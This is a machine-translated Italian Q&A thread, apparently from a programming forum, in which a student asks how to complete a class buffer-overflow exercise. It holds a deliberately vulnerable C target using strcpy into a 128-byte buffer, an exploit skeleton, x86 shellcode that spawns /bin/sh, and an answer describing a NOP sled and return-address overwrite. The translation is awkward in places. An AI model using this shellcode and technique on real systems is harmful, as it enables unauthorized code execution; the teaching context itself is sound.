Intenzionale overflow del buffer apposito programma

Question

Sto cercando di capire questo problema per una delle mie classi SCI comp, ho utilizzato ogni risorsa e ancora problemi, se qualcuno potesse fornire qualche informazione, sarei molto grato.

ho questo "target" Ho bisogno di eseguire un execve ( “/ bin / sh”) con il buffer overflow exploit. Nel trabocco di buf [128], quando si esegue il comando strcpy non sicuro, un back puntatore nel buffer appare nella posizione in cui le si aspetta di sistema per trovare l'indirizzo di ritorno.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

comprendo devo occupare argv [1] con oltre 128 byte, i byte oltre 128 essendo l'indirizzo di ritorno, che dovrebbe essere di nuovo a punta al buffer quindi entra in / bin / sh all'interno. E 'corretto finora? Qualcuno può fornire il prossimo passo?

Grazie molto per qualsiasi aiuto.

Answer 1

Bene, così si desidera che il programma per eseguire la vostra shellcode. È già in forma macchina, quindi è pronto per essere eseguito dal sistema. Hai memorizzato in un buffer. Quindi, la domanda sarebbe "Come funziona il sistema sa di eseguire il mio codice?" Più precisamente, "Come funziona il sistema sa dove cercare il codice successivo da eseguire?" La risposta in questo caso è l'indirizzo di ritorno si sta parlando.

In sostanza, sei sulla strada giusta. Hai provato l'esecuzione del codice? Una cosa che ho notato durante l'esecuzione di questo tipo di exploit è che non è una scienza esatta. A volte, ci sono altre cose nella memoria che non ti aspetti di essere lì, quindi è necessario aumentare il numero di byte si aggiunge nel vostro tampone al fine di allineare il corretto indirizzo di ritorno con cui il sistema si aspetta che sia.

Io non sono uno specialista in sicurezza, ma vi posso dire un paio di cose che potrebbero aiutare. Uno è che io di solito includono un 'NOP Sled' - essenzialmente solo una serie di 0x90 byte che non fanno altro che eseguire le istruzioni 'NOP' sul processore. Un altro trucco è quello di ripetere l'indirizzo di ritorno alla fine del buffer, in modo che se anche una sola di esse sovrascrive l'indirizzo di ritorno sullo stack, avrete un ritorno di successo in cui si desidera.

Quindi, il buffer sarà simile a questa:

| NOP SLED | SHELLCODE | RITORNO RIPETUTA INDIRIZZO |

(Nota: Queste non sono le mie idee, le ho prese da Hacking:. L'arte di sfruttamento, di Jon Erickson vi consiglio questo libro se siete interessati a saperne di più su questo).

Per calcolare l'indirizzo, è possibile utilizzare qualcosa di simile al seguente:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Ora, ret terrà l'indirizzo di ritorno che si desidera tornare, partendo dal presupposto che si alloca buffer da sul mucchio.